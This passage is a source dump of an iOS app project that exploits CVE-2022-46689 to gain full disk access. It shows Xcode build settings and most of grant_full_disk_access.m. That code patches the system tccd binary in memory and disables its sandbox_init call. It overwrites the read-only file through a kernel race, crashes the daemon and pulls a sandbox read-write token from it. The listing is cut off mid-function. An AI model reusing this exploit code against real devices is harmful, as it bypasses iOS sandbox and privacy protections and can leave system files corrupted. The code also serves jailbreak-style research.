62 | isa = PBXGroup;
63 | children = (
64 | C50030A3298A1F5800C88646 /* WDBRemoveThreeAppLimitApp.swift */,
65 | C50030A5298A1F5800C88646 /* ContentView.swift */,
66 | C50030A7298A1F5A00C88646 /* Assets.xcassets */,
67 | C50030A9298A1F5A00C88646 /* Preview Content */,
68 | C50030B1298A1F9000C88646 /* WDBRemoveThreeAppLimit-Bridging-Header.h */,
69 | C50030B5298A1F9100C88646 /* grant_full_disk_access.h */,
70 | C50030B3298A1F9000C88646 /* grant_full_disk_access.m */,
71 | C50030B4298A1F9000C88646 /* helpers.h */,
72 | C50030B6298A1F9100C88646 /* helpers.m */,
73 | C50030B7298A1F9100C88646 /* vm_unaligned_copy_switch_race.c */,
74 | C50030B2298A1F9000C88646 /* vm_unaligned_copy_switch_race.h */,
75 | );
76 | path = WDBRemoveThreeAppLimit;
77 | sourceTree = "";
78 | };
79 | C50030A9298A1F5A00C88646 /* Preview Content */ = {
80 | isa = PBXGroup;
81 | children = (
82 | C50030AA298A1F5A00C88646 /* Preview Assets.xcassets */,
83 | );
84 | path = "Preview Content";
85 | sourceTree = "";
86 | };
87 | /* End PBXGroup section */
88 |
89 | /* Begin PBXNativeTarget section */
90 | C500309F298A1F5800C88646 /* WDBRemoveThreeAppLimit */ = {
91 | isa = PBXNativeTarget;
92 | buildConfigurationList = C50030AE298A1F5A00C88646 /* Build configuration list for PBXNativeTarget "WDBRemoveThreeAppLimit" */;
93 | buildPhases = (
94 | C500309C298A1F5800C88646 /* Sources */,
95 | C500309D298A1F5800C88646 /* Frameworks */,
96 | C500309E298A1F5800C88646 /* Resources */,
97 | );
98 | buildRules = (
99 | );
100 | dependencies = (
101 | );
102 | name = WDBRemoveThreeAppLimit;
103 | productName = WDBRemoveThreeAppLimit;
104 | productReference = C50030A0298A1F5800C88646 /* WDBRemoveThreeAppLimit.app */;
105 | productType = "com.apple.product-type.application";
106 | };
107 | /* End PBXNativeTarget section */
108 |
109 | /* Begin PBXProject section */
110 | C5003098298A1F5800C88646 /* Project object */ = {
111 | isa = PBXProject;
112 | attributes = {
113 | BuildIndependentTargetsInParallel = 1;
114 | LastSwiftUpdateCheck = 1420;
115 | LastUpgradeCheck = 1420;
116 | TargetAttributes = {
117 | C500309F298A1F5800C88646 = {
118 | CreatedOnToolsVersion = 14.2;
119 | LastSwiftMigration = 1420;
120 | };
121 | };
122 | };
123 | buildConfigurationList = C500309B298A1F5800C88646 /* Build configuration list for PBXProject "WDBRemoveThreeAppLimit" */;
124 | compatibilityVersion = "Xcode 14.0";
125 | developmentRegion = en;
126 | hasScannedForEncodings = 0;
127 | knownRegions = (
128 | en,
129 | Base,
130 | );
131 | mainGroup = C5003097298A1F5800C88646;
132 | productRefGroup = C50030A1298A1F5800C88646 /* Products */;
133 | projectDirPath = "";
134 | projectRoot = "";
135 | targets = (
136 | C500309F298A1F5800C88646 /* WDBRemoveThreeAppLimit */,
137 | );
138 | };
139 | /* End PBXProject section */
140 |
141 | /* Begin PBXResourcesBuildPhase section */
142 | C500309E298A1F5800C88646 /* Resources */ = {
143 | isa = PBXResourcesBuildPhase;
144 | buildActionMask = 2147483647;
145 | files = (
146 | C50030AB298A1F5A00C88646 /* Preview Assets.xcassets in Resources */,
147 | C50030A8298A1F5A00C88646 /* Assets.xcassets in Resources */,
148 | );
149 | runOnlyForDeploymentPostprocessing = 0;
150 | };
151 | /* End PBXResourcesBuildPhase section */
152 |
153 | /* Begin PBXSourcesBuildPhase section */
154 | C500309C298A1F5800C88646 /* Sources */ = {
155 | isa = PBXSourcesBuildPhase;
156 | buildActionMask = 2147483647;
157 | files = (
158 | C50030A6298A1F5800C88646 /* ContentView.swift in Sources */,
159 | C50030BA298A1F9100C88646 /* vm_unaligned_copy_switch_race.c in Sources */,
160 | C50030A4298A1F5800C88646 /* WDBRemoveThreeAppLimitApp.swift in Sources */,
161 | C50030B8298A1F9100C88646 /* grant_full_disk_access.m in Sources */,
162 | C50030B9298A1F9100C88646 /* helpers.m in Sources */,
163 | );
164 | runOnlyForDeploymentPostprocessing = 0;
165 | };
166 | /* End PBXSourcesBuildPhase section */
167 |
168 | /* Begin XCBuildConfiguration section */
169 | C50030AC298A1F5A00C88646 /* Debug */ = {
170 | isa = XCBuildConfiguration;
171 | buildSettings = {
172 | ALWAYS_SEARCH_USER_PATHS = NO;
173 | CLANG_ANALYZER_NONNULL = YES;
174 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
175 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++20";
176 | CLANG_ENABLE_MODULES = YES;
177 | CLANG_ENABLE_OBJC_ARC = YES;
178 | CLANG_ENABLE_OBJC_WEAK = YES;
179 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
180 | CLANG_WARN_BOOL_CONVERSION = YES;
181 | CLANG_WARN_COMMA = YES;
182 | CLANG_WARN_CONSTANT_CONVERSION = YES;
183 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
184 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
185 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
186 | CLANG_WARN_EMPTY_BODY = YES;
187 | CLANG_WARN_ENUM_CONVERSION = YES;
188 | CLANG_WARN_INFINITE_RECURSION = YES;
189 | CLANG_WARN_INT_CONVERSION = YES;
190 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
191 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
192 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
193 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
194 | CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES;
195 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
196 | CLANG_WARN_STRICT_PROTOTYPES = YES;
197 | CLANG_WARN_SUSPICIOUS_MOVE = YES;
198 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
199 | CLANG_WARN_UNREACHABLE_CODE = YES;
200 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
201 | COPY_PHASE_STRIP = NO;
202 | DEBUG_INFORMATION_FORMAT = dwarf;
203 | ENABLE_STRICT_OBJC_MSGSEND = YES;
204 | ENABLE_TESTABILITY = YES;
205 | GCC_C_LANGUAGE_STANDARD = gnu11;
206 | GCC_DYNAMIC_NO_PIC = NO;
207 | GCC_NO_COMMON_BLOCKS = YES;
208 | GCC_OPTIMIZATION_LEVEL = 0;
209 | GCC_PREPROCESSOR_DEFINITIONS = (
210 | "DEBUG=1",
211 | "$(inherited)",
212 | );
213 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
214 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
215 | GCC_WARN_UNDECLARED_SELECTOR = YES;
216 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
217 | GCC_WARN_UNUSED_FUNCTION = YES;
218 | GCC_WARN_UNUSED_VARIABLE = YES;
219 | IPHONEOS_DEPLOYMENT_TARGET = 16.2;
220 | MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE;
221 | MTL_FAST_MATH = YES;
222 | ONLY_ACTIVE_ARCH = YES;
223 | SDKROOT = iphoneos;
224 | SWIFT_ACTIVE_COMPILATION_CONDITIONS = DEBUG;
225 | SWIFT_OPTIMIZATION_LEVEL = "-Onone";
226 | };
227 | name = Debug;
228 | };
229 | C50030AD298A1F5A00C88646 /* Release */ = {
230 | isa = XCBuildConfiguration;
231 | buildSettings = {
232 | ALWAYS_SEARCH_USER_PATHS = NO;
233 | CLANG_ANALYZER_NONNULL = YES;
234 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
235 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++20";
236 | CLANG_ENABLE_MODULES = YES;
237 | CLANG_ENABLE_OBJC_ARC = YES;
238 | CLANG_ENABLE_OBJC_WEAK = YES;
239 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
240 | CLANG_WARN_BOOL_CONVERSION = YES;
241 | CLANG_WARN_COMMA = YES;
242 | CLANG_WARN_CONSTANT_CONVERSION = YES;
243 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
244 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
245 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
246 | CLANG_WARN_EMPTY_BODY = YES;
247 | CLANG_WARN_ENUM_CONVERSION = YES;
248 | CLANG_WARN_INFINITE_RECURSION = YES;
249 | CLANG_WARN_INT_CONVERSION = YES;
250 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
251 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
252 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
253 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
254 | CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES;
255 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
256 | CLANG_WARN_STRICT_PROTOTYPES = YES;
257 | CLANG_WARN_SUSPICIOUS_MOVE = YES;
258 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
259 | CLANG_WARN_UNREACHABLE_CODE = YES;
260 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
261 | COPY_PHASE_STRIP = NO;
262 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
263 | ENABLE_NS_ASSERTIONS = NO;
264 | ENABLE_STRICT_OBJC_MSGSEND = YES;
265 | GCC_C_LANGUAGE_STANDARD = gnu11;
266 | GCC_NO_COMMON_BLOCKS = YES;
267 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
268 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
269 | GCC_WARN_UNDECLARED_SELECTOR = YES;
270 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
271 | GCC_WARN_UNUSED_FUNCTION = YES;
272 | GCC_WARN_UNUSED_VARIABLE = YES;
273 | IPHONEOS_DEPLOYMENT_TARGET = 16.2;
274 | MTL_ENABLE_DEBUG_INFO = NO;
275 | MTL_FAST_MATH = YES;
276 | SDKROOT = iphoneos;
277 | SWIFT_COMPILATION_MODE = wholemodule;
278 | SWIFT_OPTIMIZATION_LEVEL = "-O";
279 | VALIDATE_PRODUCT = YES;
280 | };
281 | name = Release;
282 | };
283 | C50030AF298A1F5A00C88646 /* Debug */ = {
284 | isa = XCBuildConfiguration;
285 | buildSettings = {
286 | ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
287 | ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
288 | CLANG_ENABLE_MODULES = YES;
289 | CODE_SIGN_STYLE = Automatic;
290 | CURRENT_PROJECT_VERSION = 1;
291 | DEVELOPMENT_ASSET_PATHS = "\"WDBRemoveThreeAppLimit/Preview Content\"";
292 | DEVELOPMENT_TEAM = 3D7RY4393N;
293 | ENABLE_PREVIEWS = YES;
294 | GENERATE_INFOPLIST_FILE = YES;
295 | INFOPLIST_KEY_NSAppleMusicUsageDescription = "Full access to files on your device is required to apply tweaks.";
296 | INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES;
297 | INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES;
298 | INFOPLIST_KEY_UILaunchScreen_Generation = YES;
299 | INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight";
300 | INFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = "UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight";
301 | IPHONEOS_DEPLOYMENT_TARGET = 15.0;
302 | LD_RUNPATH_SEARCH_PATHS = (
303 | "$(inherited)",
304 | "@executable_path/Frameworks",
305 | );
306 | MARKETING_VERSION = 1.0;
307 | PRODUCT_BUNDLE_IDENTIFIER = com.worthdoingbadly.WDBRemoveThreeAppLimit;
308 | PRODUCT_NAME = "$(TARGET_NAME)";
309 | SWIFT_EMIT_LOC_STRINGS = YES;
310 | SWIFT_OBJC_BRIDGING_HEADER = "WDBRemoveThreeAppLimit/WDBRemoveThreeAppLimit-Bridging-Header.h";
311 | SWIFT_OPTIMIZATION_LEVEL = "-Onone";
312 | SWIFT_VERSION = 5.0;
313 | TARGETED_DEVICE_FAMILY = "1,2";
314 | };
315 | name = Debug;
316 | };
317 | C50030B0298A1F5A00C88646 /* Release */ = {
318 | isa = XCBuildConfiguration;
319 | buildSettings = {
320 | ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
321 | ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
322 | CLANG_ENABLE_MODULES = YES;
323 | CODE_SIGN_STYLE = Automatic;
324 | CURRENT_PROJECT_VERSION = 1;
325 | DEVELOPMENT_ASSET_PATHS = "\"WDBRemoveThreeAppLimit/Preview Content\"";
326 | DEVELOPMENT_TEAM = 3D7RY4393N;
327 | ENABLE_PREVIEWS = YES;
328 | GENERATE_INFOPLIST_FILE = YES;
329 | INFOPLIST_KEY_NSAppleMusicUsageDescription = "Full access to files on your device is required to apply tweaks.";
330 | INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES;
331 | INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES;
332 | INFOPLIST_KEY_UILaunchScreen_Generation = YES;
333 | INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight";
334 | INFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = "UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight";
335 | IPHONEOS_DEPLOYMENT_TARGET = 15.0;
336 | LD_RUNPATH_SEARCH_PATHS = (
337 | "$(inherited)",
338 | "@executable_path/Frameworks",
339 | );
340 | MARKETING_VERSION = 1.0;
341 | PRODUCT_BUNDLE_IDENTIFIER = com.worthdoingbadly.WDBRemoveThreeAppLimit;
342 | PRODUCT_NAME = "$(TARGET_NAME)";
343 | SWIFT_EMIT_LOC_STRINGS = YES;
344 | SWIFT_OBJC_BRIDGING_HEADER = "WDBRemoveThreeAppLimit/WDBRemoveThreeAppLimit-Bridging-Header.h";
345 | SWIFT_VERSION = 5.0;
346 | TARGETED_DEVICE_FAMILY = "1,2";
347 | };
348 | name = Release;
349 | };
350 | /* End XCBuildConfiguration section */
351 |
352 | /* Begin XCConfigurationList section */
353 | C500309B298A1F5800C88646 /* Build configuration list for PBXProject "WDBRemoveThreeAppLimit" */ = {
354 | isa = XCConfigurationList;
355 | buildConfigurations = (
356 | C50030AC298A1F5A00C88646 /* Debug */,
357 | C50030AD298A1F5A00C88646 /* Release */,
358 | );
359 | defaultConfigurationIsVisible = 0;
360 | defaultConfigurationName = Release;
361 | };
362 | C50030AE298A1F5A00C88646 /* Build configuration list for PBXNativeTarget "WDBRemoveThreeAppLimit" */ = {
363 | isa = XCConfigurationList;
364 | buildConfigurations = (
365 | C50030AF298A1F5A00C88646 /* Debug */,
366 | C50030B0298A1F5A00C88646 /* Release */,
367 | );
368 | defaultConfigurationIsVisible = 0;
369 | defaultConfigurationName = Release;
370 | };
371 | /* End XCConfigurationList section */
372 | };
373 | rootObject = C5003098298A1F5800C88646 /* Project object */;
374 | }
375 |
--------------------------------------------------------------------------------
/WDBRemoveThreeAppLimit/grant_full_disk_access.m:
--------------------------------------------------------------------------------
1 | @import Darwin;
2 | @import Foundation;
3 | @import MachO;
4 |
5 | #import
6 | // you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from
7 | // WDBFontOverwrite
8 | // Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything)
9 | // Please don't call this code on iOS 14 or below
10 | // (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot)
11 | #import "grant_full_disk_access.h"
12 | #import "helpers.h"
13 | #import "vm_unaligned_copy_switch_race.h"
14 |
15 | typedef NSObject* xpc_object_t;
16 | typedef xpc_object_t xpc_connection_t;
17 | typedef void (^xpc_handler_t)(xpc_object_t object);
18 | xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys,
19 | xpc_object_t _Nullable const* values, size_t count);
20 | xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq,
21 | uint64_t flags);
22 | void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler);
23 | void xpc_connection_resume(xpc_connection_t connection);
24 | void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message,
25 | dispatch_queue_t replyq, xpc_handler_t handler);
26 | xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection,
27 | xpc_object_t message);
28 | xpc_object_t xpc_bool_create(bool value);
29 | xpc_object_t xpc_string_create(const char* string);
30 | xpc_object_t xpc_null_create(void);
31 | const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key);
32 |
33 | int64_t sandbox_extension_consume(const char* token);
34 |
35 | // MARK: - patchfind
36 |
37 | struct grant_full_disk_access_offsets {
38 | uint64_t offset_addr_s_com_apple_tcc_;
39 | uint64_t offset_padding_space_for_read_write_string;
40 | uint64_t offset_addr_s_kTCCServiceMediaLibrary;
41 | uint64_t offset_auth_got__sandbox_init;
42 | uint64_t offset_just_return_0;
43 | bool is_arm64e;
44 | };
45 |
46 | static bool patchfind_sections(void* executable_map,
47 | struct segment_command_64** data_const_segment_out,
48 | struct symtab_command** symtab_out,
49 | struct dysymtab_command** dysymtab_out) {
50 | struct mach_header_64* executable_header = executable_map;
51 | struct load_command* load_command = executable_map + sizeof(struct mach_header_64);
52 | for (int load_command_index = 0; load_command_index < executable_header->ncmds;
53 | load_command_index++) {
54 | switch (load_command->cmd) {
55 | case LC_SEGMENT_64: {
56 | struct segment_command_64* segment = (struct segment_command_64*)load_command;
57 | if (strcmp(segment->segname, "__DATA_CONST") == 0) {
58 | *data_const_segment_out = segment;
59 | }
60 | break;
61 | }
62 | case LC_SYMTAB: {
63 | *symtab_out = (struct symtab_command*)load_command;
64 | break;
65 | }
66 | case LC_DYSYMTAB: {
67 | *dysymtab_out = (struct dysymtab_command*)load_command;
68 | break;
69 | }
70 | }
71 | load_command = ((void*)load_command) + load_command->cmdsize;
72 | }
73 | return true;
74 | }
75 |
76 | static uint64_t patchfind_get_padding(struct segment_command_64* segment) {
77 | struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64);
78 | struct section_64* last_section = §ion_array[segment->nsects - 1];
79 | return last_section->offset + last_section->size;
80 | }
81 |
82 | static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executable_length,
83 | const char* needle) {
84 | void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
85 | if (!str_offset) {
86 | return 0;
87 | }
88 | uint64_t str_file_offset = str_offset - executable_map;
89 | for (int i = 0; i < executable_length; i += 8) {
90 | uint64_t val = *(uint64_t*)(executable_map + i);
91 | if ((val & 0xfffffffful) == str_file_offset) {
92 | return i;
93 | }
94 | }
95 | return 0;
96 | }
97 |
98 | static uint64_t patchfind_return_0(void* executable_map, size_t executable_length) {
99 | // TCCDSyncAccessAction::sequencer
100 | // mov x0, #0
101 | // ret
102 | static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6};
103 | void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
104 | if (!offset) {
105 | return 0;
106 | }
107 | return offset - executable_map;
108 | }
109 |
110 | static uint64_t patchfind_got(void* executable_map, size_t executable_length,
111 | struct segment_command_64* data_const_segment,
112 | struct symtab_command* symtab_command,
113 | struct dysymtab_command* dysymtab_command,
114 | const char* target_symbol_name) {
115 | uint64_t target_symbol_index = 0;
116 | for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) {
117 | struct nlist_64* sym =
118 | ((struct nlist_64*)(executable_map + symtab_command->symoff)) + sym_index;
119 | const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx;
120 | if (strcmp(sym_name, target_symbol_name)) {
121 | continue;
122 | }
123 | // printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - executable_map));
124 | target_symbol_index = sym_index;
125 | break;
126 | }
127 |
128 | struct section_64* section_array =
129 | ((void*)data_const_segment) + sizeof(struct segment_command_64);
130 | struct section_64* first_section = §ion_array[0];
131 | if (!(strcmp(first_section->sectname, "__auth_got") == 0 ||
132 | strcmp(first_section->sectname, "__got") == 0)) {
133 | return 0;
134 | }
135 | uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff;
136 |
137 | for (int i = 0; i < first_section->size; i += 8) {
138 | uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i);
139 | uint64_t indirect_table_entry = (val & 0xfffful);
140 | if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) {
141 | return first_section->offset + i;
142 | }
143 | }
144 | return 0;
145 | }
146 |
147 | static bool patchfind(void* executable_map, size_t executable_length,
148 | struct grant_full_disk_access_offsets* offsets) {
149 | struct segment_command_64* data_const_segment = nil;
150 | struct symtab_command* symtab_command = nil;
151 | struct dysymtab_command* dysymtab_command = nil;
152 | if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
153 | &dysymtab_command)) {
154 | printf("no sections\n");
155 | return false;
156 | }
157 | if ((offsets->offset_addr_s_com_apple_tcc_ =
158 | patchfind_pointer_to_string(executable_map, executable_length, "com.apple.tcc.")) == 0) {
159 | printf("no com.apple.tcc. string\n");
160 | return false;
161 | }
162 | if ((offsets->offset_padding_space_for_read_write_string =
163 | patchfind_get_padding(data_const_segment)) == 0) {
164 | printf("no padding\n");
165 | return false;
166 | }
167 | if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string(
168 | executable_map, executable_length, "kTCCServiceMediaLibrary")) == 0) {
169 | printf("no kTCCServiceMediaLibrary string\n");
170 | return false;
171 | }
172 | if ((offsets->offset_auth_got__sandbox_init =
173 | patchfind_got(executable_map, executable_length, data_const_segment, symtab_command,
174 | dysymtab_command, "_sandbox_init")) == 0) {
175 | printf("no sandbox_init\n");
176 | return false;
177 | }
178 | if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) ==
179 | 0) {
180 | printf("no just return 0\n");
181 | return false;
182 | }
183 | struct mach_header_64* executable_header = executable_map;
184 | offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E;
185 |
186 | return true;
187 | }
188 |
189 | // MARK: - tccd patching
190 |
191 | static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) {
192 | // reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can
193 | // re-use it until next reboot.
194 | // Returns the sandbox token if there is one, or nil if there isn't one.
195 | xpc_connection_t connection = xpc_connection_create_mach_service(
196 | "com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0);
197 | xpc_connection_set_event_handler(connection, ^(xpc_object_t object) {
198 | NSLog(@"xpc event handler: %@", object);
199 | });
200 | xpc_connection_resume(connection);
201 | const char* keys[] = {
202 | "TCCD_MSG_ID", "function", "service", "require_purpose", "preflight",
203 | "target_token", "background_session",
204 | };
205 | xpc_object_t values[] = {
206 | xpc_string_create("17087.1"),
207 | xpc_string_create("TCCAccessRequest"),
208 | xpc_string_create("com.apple.app-sandbox.read-write"),
209 | xpc_null_create(),
210 | xpc_bool_create(false),
211 | xpc_null_create(),
212 | xpc_bool_create(false),
213 | };
214 | xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys));
215 | #if 0
216 | xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message);
217 | NSLog(@"%@", response_message);
218 |
219 | #endif
220 | xpc_connection_send_message_with_reply(
221 | connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0),
222 | ^(xpc_object_t object) {
223 | if (!object) {
224 | NSLog(@"object is nil???");
225 | completion(nil);
226 | return;
227 | }
228 | NSLog(@"response: %@", object);
229 | if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) {
230 | NSLog(@"xpc error?");
231 | completion(nil);
232 | return;
233 | }
234 | NSLog(@"debug description: %@", [object debugDescription]);
235 | const char* extension_string = xpc_dictionary_get_string(object, "extension");
236 | NSString* extension_nsstring =
237 | extension_string ? [NSString stringWithUTF8String:extension_string] : nil;
238 | completion(extension_nsstring);
239 | });
240 | }
241 |
242 | static NSData* patchTCCD(void* executableMap, size_t executableLength) {
243 | struct grant_full_disk_access_offsets offsets = {};
244 | if (!patchfind(executableMap, executableLength, &offsets)) {
245 | return nil;
246 | }
247 |
248 | NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
249 | // strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr);
250 | char* mutableBytes = data.mutableBytes;
251 | {
252 | // rewrite com.apple.tcc. into blank string
253 | *(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0;
254 | }
255 | {
256 | // make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write"
257 | // we need to stick this somewhere; just put it in the padding between
258 | // the end of __objc_arrayobj and the end of __DATA_CONST
259 | strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string),
260 | "com.apple.app-sandbox.read-write");
261 | struct dyld_chained_ptr_arm64e_rebase targetRebase =
262 | *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
263 | offsets.offset_addr_s_kTCCServiceMediaLibrary);
264 | targetRebase.target = offsets.offset_padding_space_for_read_write_string;
265 | *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
266 | offsets.offset_addr_s_kTCCServiceMediaLibrary) =
267 | targetRebase;
268 | *(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) =
269 | strlen("com.apple.app-sandbox.read-write");
270 | }
271 | if (offsets.is_arm64e) {
272 | // make sandbox_init call return 0;
273 | struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = {
274 | .auth = 1,
275 | .bind = 0,
276 | .next = 1,
277 | .key = 0, // IA
278 | .addrDiv = 1,
279 | .diversity = 0,
280 | .target = offsets.offset_just_return_0,
281 | };
282 | *(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
283 | offsets.offset_auth_got__sandbox_init) =
284 | targetRebase;
285 | } else {
286 | // make sandbox_init call return 0;
287 | struct dyld_chained_ptr_64_rebase targetRebase = {
288 | .bind = 0,
289 | .next = 2,
290 | .target = offsets.offset_just_return_0,
291 | };
292 | *(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) =
293 | targetRebase;
294 | }
295 | return data;
296 | }
297 |
298 | static bool overwrite_file(int fd, NSData* sourceData) {
299 | for (int off = 0; off < sourceData.length; off += 0x4000) {
300 | bool success = false;
301 | for (int i = 0; i < 2; i++) {
302 | if (unaligned_copy_switch_race(
303 | fd, off, sourceData.bytes + off,
304 | off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) {
305 | success = true;
306 | break;
307 | }
308 | }
309 | if (!success) {
310 | return false;
311 | }
312 | }
313 | return true;
314 | }
315 |
316 | static void grant_full_disk_access_impl(void (^completion)(NSString* extension_token,
317 | NSError* _Nullable error)) {
318 | char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd";
319 | int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
320 | if (fd == -1) {
321 | // iOS 15.3 and below
322 | targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd";
323 | fd = open(targetPath, O_RDONLY | O_CLOEXEC);
324 | }
325 | off_t targetLength = lseek(fd, 0, SEEK_END);
326 | lseek(fd, 0, SEEK_SET);
327 | void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
328 |
329 | NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
330 | NSData* sourceData = patchTCCD(targetMap, targetLength);
331 | if (!sourceData) {
332 | completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
333 | code:5
334 | userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]);
335 | return;
336 | }
337 |
338 | if (!overwrite_file(fd, sourceData)) {
339 | overwrite_file(fd, originalData);
340 | munmap(targetMap, targetLength);
341 | completion(
342 | nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
343 | code:1
344 | userInfo:@{
345 | NSLocalizedDescriptionKey : @"Can't overwrite file: your device may "
346 | @"not be vulnerable to CVE-2022-46689."
347 | }]);
348 | return;
349 | }
350 | munmap(targetMap, targetLength);
351 |
352 | xpc_crasher("com.apple.tccd");
353 | sleep(1);
354 | call_tccd(^(NSString* _Nullable extension_token) {
355 | overwrite_file(fd, originalData);
356 | xpc_crasher("com.apple.tccd");
357 | NSError* returnError = nil;
358 | if (extension_token == nil) {
359 | returnError =
360 | [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
361 | code:2
362 | userInfo:@{
363 | NSLocalizedDescriptionKey : @"tccd did not return an extension token."
364 | }];
365 | } else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) {
